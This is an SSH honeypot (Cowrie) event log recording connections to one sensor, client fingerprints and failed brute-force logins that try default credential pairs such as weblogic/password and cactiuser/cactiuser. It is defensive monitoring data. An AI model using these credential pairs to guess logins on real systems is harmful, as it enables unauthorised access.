{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:34.924277Z","src_ip":"213.209.159.158","session":"7612ba4e1221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:34.928488Z","src_ip":"213.209.159.158","session":"7612ba4e1221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"amax","message":"login attempt [amax/amax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:45.155018Z","src_ip":"213.209.159.158","session":"7612ba4e1221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:48.264065Z","src_ip":"213.209.159.158","session":"7612ba4e1221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31112,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7ec5e8f6dcc","protocol":"ssh","message":"New connection: 213.209.159.158:31112 (159.203.135.109:22) [session: e7ec5e8f6dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:50.383007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:52.754147Z","src_ip":"213.209.159.158","session":"e7ec5e8f6dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:52.760058Z","src_ip":"213.209.159.158","session":"e7ec5e8f6dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":46642,"dst_ip":"10.17.0.5","dst_port":22,"session":"89bea5089fc6","protocol":"ssh","message":"New connection: 14.225.2.125:46642 (10.17.0.5:22) [session: 89bea5089fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:00.141254Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:00.394864Z","src_ip":"14.225.2.125","session":"89bea5089fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":46654,"dst_ip":"10.17.0.5","dst_port":22,"session":"16fbca70ebf4","protocol":"ssh","message":"New connection: 14.225.2.125:46654 (10.17.0.5:22) [session: 16fbca70ebf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:00.668882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:00.673114Z","src_ip":"14.225.2.125","session":"16fbca70ebf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:00.942125Z","src_ip":"14.225.2.125","session":"16fbca70ebf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guoshufei","password":"guoshufei","message":"login attempt [guoshufei/guoshufei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:01.749792Z","src_ip":"14.225.2.125","session":"16fbca70ebf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot1234","message":"login attempt [bot/bot1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:02.540945Z","src_ip":"213.209.159.158","session":"e7ec5e8f6dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:03.033663Z","src_ip":"14.225.2.125","session":"16fbca70ebf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:06.119648Z","src_ip":"213.209.159.158","session":"e7ec5e8f6dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54000,"dst_ip":"159.203.135.109","dst_port":22,"session":"cddcfdd812b3","protocol":"ssh","message":"New connection: 213.209.159.158:54000 (159.203.135.109:22) [session: cddcfdd812b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:06.207786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:08.369738Z","src_ip":"213.209.159.158","session":"cddcfdd812b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:08.373538Z","src_ip":"213.209.159.158","session":"cddcfdd812b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"C","password":"C","message":"login attempt [C/C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:18.355293Z","src_ip":"213.209.159.158","session":"cddcfdd812b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:21.661609Z","src_ip":"213.209.159.158","session":"cddcfdd812b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":30536,"dst_ip":"159.203.135.109","dst_port":22,"session":"1de451930bdc","protocol":"ssh","message":"New connection: 213.209.159.158:30536 (159.203.135.109:22) [session: 1de451930bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:21.740367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:24.119864Z","src_ip":"213.209.159.158","session":"1de451930bdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:24.123732Z","src_ip":"213.209.159.158","session":"1de451930bdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cactiuser","password":"cactiuser","message":"login attempt [cactiuser/cactiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:35.513112Z","src_ip":"213.209.159.158","session":"1de451930bdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":41144,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b12b8be1c36","protocol":"ssh","message":"New connection: 2.57.122.210:41144 (159.203.135.109:22) [session: 3b12b8be1c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:36.989139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:36.993962Z","src_ip":"2.57.122.210","session":"3b12b8be1c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:37.098302Z","src_ip":"2.57.122.210","session":"3b12b8be1c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigenlayer","password":"eigenlayer","message":"login attempt [eigenlayer/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:37.410627Z","src_ip":"2.57.122.210","session":"3b12b8be1c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:38.516039Z","src_ip":"2.57.122.210","session":"3b12b8be1c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.8","message":"Connection lost after 17.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:39.525779Z","src_ip":"213.209.159.158","session":"1de451930bdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":22598,"dst_ip":"159.203.135.109","dst_port":22,"session":"a85bd709c2f2","protocol":"ssh","message":"New connection: 213.209.159.158:22598 (159.203.135.109:22) [session: a85bd709c2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:39.639823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:41.933218Z","src_ip":"213.209.159.158","session":"a85bd709c2f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:41.937151Z","src_ip":"213.209.159.158","session":"a85bd709c2f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44198,"dst_ip":"159.203.135.109","dst_port":22,"session":"566f673b69a3","protocol":"ssh","message":"New connection: 60.199.224.2:44198 (159.203.135.109:22) [session: 566f673b69a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:41.957489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:41.962851Z","src_ip":"60.199.224.2","session":"566f673b69a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:42.171605Z","src_ip":"60.199.224.2","session":"566f673b69a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jonathan","password":"jonathanpass","message":"login attempt [jonathan/jonathanpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:43.034046Z","src_ip":"60.199.224.2","session":"566f673b69a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:44.243880Z","src_ip":"60.199.224.2","session":"566f673b69a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"password","message":"login attempt [weblogic/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:51.498455Z","src_ip":"213.209.159.158","session":"a85bd709c2f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:54.884854Z","src_ip":"213.209.159.158","session":"a85bd709c2f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5630,"dst_ip":"159.203.135.109","dst_port":22,"session":"6088fe9cb67c","protocol":"ssh","message":"New connection: 213.209.159.158:5630 (159.203.135.109:22) [session: 6088fe9cb67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:54.975535Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":40564,"dst_ip":"159.203.135.109","dst_port":22,"session":"522db14b4405","protocol":"ssh","message":"New connection: 34.85.163.94:40564 (159.203.135.109:22) [session: 522db14b4405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:57.071841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:57.075878Z","src_ip":"34.85.163.94","session":"522db14b4405","protocol":"ssh"}
